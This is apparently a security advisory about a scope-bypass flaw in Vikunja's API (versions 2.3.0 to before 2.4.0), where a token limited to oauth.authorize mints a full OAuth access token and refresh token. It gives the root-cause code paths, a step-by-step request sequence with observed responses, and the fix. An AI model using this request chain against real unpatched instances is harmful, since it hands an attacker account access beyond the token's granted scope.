| パッケージ | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|
| code.vikunja.io/api | ≥ 2.3.0, < 2.4.0全バージョン | 2.4.0 |
A scoped API token can bypass its declared permissions by using the OAuth authorization flow to mint normal session credentials.
A token limited to:
{"oauth":["authorize"]}
can call /api/v1/oauth/authorize, receive an OAuth authorization code, exchange it at /api/v1/oauth/token, and obtain a normal bearer JWT plus refresh token. The resulting credentials are not restricted by the original API-token permissions.
POST /api/v1/oauth/authorizePOST /api/v1/oauth/tokenA narrowly scoped API token with only oauth.authorize can be converted into normal session credentials for the same user.
This bypasses the intended API-token permission boundary. An attacker who obtains or is delegated such a limited token can mint a normal JWT and refresh token, then access routes outside the original token scope.
Runtime validation showed that the original scoped token could not access GET /api/v1/user, but the minted OAuth access token could access:
GET /api/v1/userGET /api/v1/projectsNo cross-user access, privilege escalation to admin, or access to another account was validated.
The issue is caused by an authentication-context mismatch between scoped API-token authentication and OAuth authorization-code issuance.
The vulnerable chain is:
/api/v1/oauth/authorize accepts that API-token-authenticated user as a valid OAuth resource owner./api/v1/oauth/token exchanges that code for a normal bearer JWT and refresh token.Relevant code paths:
pkg/routes/routes.go
/api/v1/oauth/authorize in an authenticated API route group that also accepts scoped API tokenspkg/models/api_routes.go
これらの製品をお使いですか？サイトをスキャンして、脆弱なバージョンが公開されていないか確認しましょう。
無料でサイトをスキャンoauth permission grouppkg/routes/api_tokens.go
api_token and api_user in the request context during API-token authenticationpkg/user/user.go
api_user as an authenticated current userpkg/modules/auth/oauth2server/authorize.go
pkg/modules/auth/oauth2server/token.go
Create an API token with only the following permission:
{"oauth":["authorize"]}
Observed response:
201 Created
The returned token had only the oauth.authorize permission.
Request:
GET /api/v1/user
Authorization: Bearer <scoped-api-token>
Observed response:
401 Unauthorized
Response body:
{"code":11,"message":"missing, malformed, expired or otherwise invalid token provided"}
This confirms that the scoped token cannot directly access the normal user route.
Request:
POST /api/v1/oauth/authorize
Authorization: Bearer <scoped-api-token>
Content-Type: application/json
Body:
{
"response_type": "code",
"client_id": "vikunja",
"redirect_uri": "vikunja-flutter://callback",
"code_challenge": "<pkce-s256-challenge>",
"code_challenge_method": "S256"
}
Observed response:
200 OK
Response body:
{
"code": "<redacted>",
"redirect_uri": "vikunja-flutter://callback",
"state": ""
}
The scoped API token successfully obtained an OAuth authorization code.
Request:
POST /api/v1/oauth/token
Content-Type: application/json
Body:
{
"grant_type": "authorization_code",
"code": "<redacted>",
"client_id": "vikunja",
"redirect_uri": "vikunja-flutter://callback",
"code_verifier": "<original-pkce-verifier>"
}
Observed response:
200 OK
Response body:
{
"access_token": "<redacted>",
"token_type": "bearer",
"expires_in": 600,
"refresh_token": "<redacted>"
}
The authorization code was exchanged for a normal access token and refresh token.
Request:
GET /api/v1/user
Authorization: Bearer <minted-oauth-access-token>
Observed response:
200 OK
Additional scope check:
GET /api/v1/projects
Authorization: Bearer <minted-oauth-access-token>
Observed response:
200 OK
The minted OAuth access token could access normal non-OAuth routes that the original scoped API token could not access.
A scoped API token should not be able to obtain credentials with broader permissions than its declared scope.
/api/v1/oauth/authorize should require a normal user session or another authentication context suitable for OAuth authorization-code issuance. API-token-authenticated requests should not be accepted for minting OAuth authorization codes.
A token scoped only to oauth.authorize can obtain an OAuth authorization code and exchange it for a normal JWT plus refresh token.
The minted credentials are not restricted by the original API-token permissions.